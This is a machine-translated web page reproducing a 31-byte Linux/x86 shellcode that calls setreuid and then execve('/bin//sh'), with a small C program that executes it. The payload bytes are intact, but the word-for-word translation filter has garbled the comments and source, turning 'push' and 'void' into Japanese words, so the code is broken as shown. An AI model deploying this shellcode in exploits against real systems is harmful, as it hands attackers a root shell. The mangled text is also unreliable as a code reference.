このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - setreuid & execve - 31 bytes
/* 31 byte setreuid() shellcode - # man 影をつくる/尾行する
* os: Slackware 9.1, Phlak 2.4, Knoppix 0.1
*
* www.manshadow.org
* r-22@manshadow.org
* irc.efnet.逮捕する #_man_shadow
*/

char shellcode[] =
"\x31\xC9"              /* xor ecx,ecx     */
"\x31\xDB"              /* xor ebx,ebx     */
"\x6A\x46"              /* 押し進める byte 70    */
"\x58"                  /* pop eax         */
"\xCD\x80"              /* int 80h         */
"\x51"                  /* 押し進める ecx        */
"\x68\x2F\x2F\x73\x68"  /* 押し進める 0x68732F2F */
"\x68\x2F\x62\x69\x6E"  /* 押し進める 0x6E69622F */
"\x89\xE3"              /* mov ebx,esp     */
"\x51"                  /* 押し進める ecx        */
"\x53"                  /* 押し進める ebx        */
"\x89\xE1"              /* mov ecx,esp     */
"\x99"                  /* cdq             */
"\xB0\x0B"              /* mov al,11       */
"\xCD\x80";             /* int 80h         */

int main(int argc, char *argv[]) {
       無効の (*sc)() = (無効の *)shellcode;
       printf("len:%d\n", strlen(shellcode));
       sc();
       return 0;
}